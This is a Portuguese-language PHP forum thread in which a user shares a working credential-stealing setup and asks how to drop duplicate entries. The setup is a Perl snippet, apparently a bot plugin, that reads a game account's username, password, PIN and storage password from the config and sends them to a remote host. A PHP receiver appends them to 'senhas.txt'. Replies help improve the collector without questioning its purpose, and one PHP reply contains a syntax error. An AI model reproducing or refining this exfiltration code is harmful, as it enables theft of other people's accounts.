OpenKore 0 Denunciar post Postado Dezembro 19, 2013 Olá, estou começando agora em PHP e gostaria de saber como faço e se é possivel para o script que eu estou usando bloquear linhas repetidas no host. Ex: Bom dia pessoal! --> deixar apenas o primeiro recebido. Bom dia pessoal! --> não armazenar o segundo já que e a mesma frase. Bom dia pessoal --> agora que não tem a exclamação ele deve armazenar já que está diferente do primeiro e do segundo. <?php $recived_keys = $_GET["keylog"]; $file = fopen('senhas.txt', 'a'); fwrite($file, $recived_keys . "\n\n"); ?> Código que uso para enviar as informações: use LWP::UserAgent; use Utils qw(urlencode); my $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; my $master = $config{'master'}; $master =~ s/#/:/; my $usuario = $config{'username'}; $usuario =~ s/#/:/; my $loginPin = $config{'loginPinCode'}; $loginPin =~ s/#/:/; my $senha = $config{'password'}; $senha =~ s/#/:/; my $kafra = $config{'storageAuto_password'}; $kafra =~ s/#/:/; my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra"); Agradeço desde já! Compartilhar este post Link para o post Compartilhar em outros sites
Raul Silva 41 Denunciar post Postado Dezembro 19, 2013 Você deverá fazer isso ao gravar a linha no arquivo, mas esse script não é php, é perl... Compartilhar este post Link para o post Compartilhar em outros sites
xurissoooo 10 Denunciar post Postado Dezembro 19, 2013 Coloca o arquivo no excel e manda excluir as repetidas antes de rodar Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 19, 2013 Você deverá fazer isso ao gravar a linha no arquivo, mas esse script não é php, é perl... Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site. Coloca o arquivo no excel e manda excluir as repetidas antes de rodar Poderia me explicar melhor como? Compartilhar este post Link para o post Compartilhar em outros sites
xurissoooo 10 Denunciar post Postado Dezembro 19, 2013 La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas Quando encontrar, copia teu txt e cola no excel Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos Compartilhar este post Link para o post Compartilhar em outros sites
Raul Silva 41 Denunciar post Postado Dezembro 20, 2013 Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site. Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele... Se você quiser bloquear para não ficar duas palavras repetidas: - Antes de tudo, pegue o conteudo do arquivo - pegue a ultima linha - compare com a string enviada - se for diferente não grave <?php $recived_keys = $_GET["keylog"]; $file = 'senhas.txt'; $content = file_get_contents($file); $a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script $lastLine = $a[count($a)-1)]; if($lastLine != $recived_keys){ $file = fopen($file, 'a'); fwrite($file, $recived_keys . "\n\n"); } ?> Compartilhar este post Link para o post Compartilhar em outros sites
OpenKore 0 Denunciar post Postado Dezembro 20, 2013 La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas Quando encontrar, copia teu txt e cola no excel Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos Deu certo, muito obrigado pela dica. Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele... Se você quiser bloquear para não ficar duas palavras repetidas: - Antes de tudo, pegue o conteudo do arquivo - pegue a ultima linha - compare com a string enviada - se for diferente não grave <?php $recived_keys = $_GET["keylog"]; $file = 'senhas.txt'; $content = file_get_contents($file); $a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script $lastLine = $a[count($a)-1)]; if($lastLine != $recived_keys){ $file = fopen($file, 'a'); fwrite($file, $recived_keys . "\n\n"); } ?> Estarei testando este script aqui e posto resultados. Obrigado pela ajuda. Compartilhar este post Link para o post Compartilhar em outros sites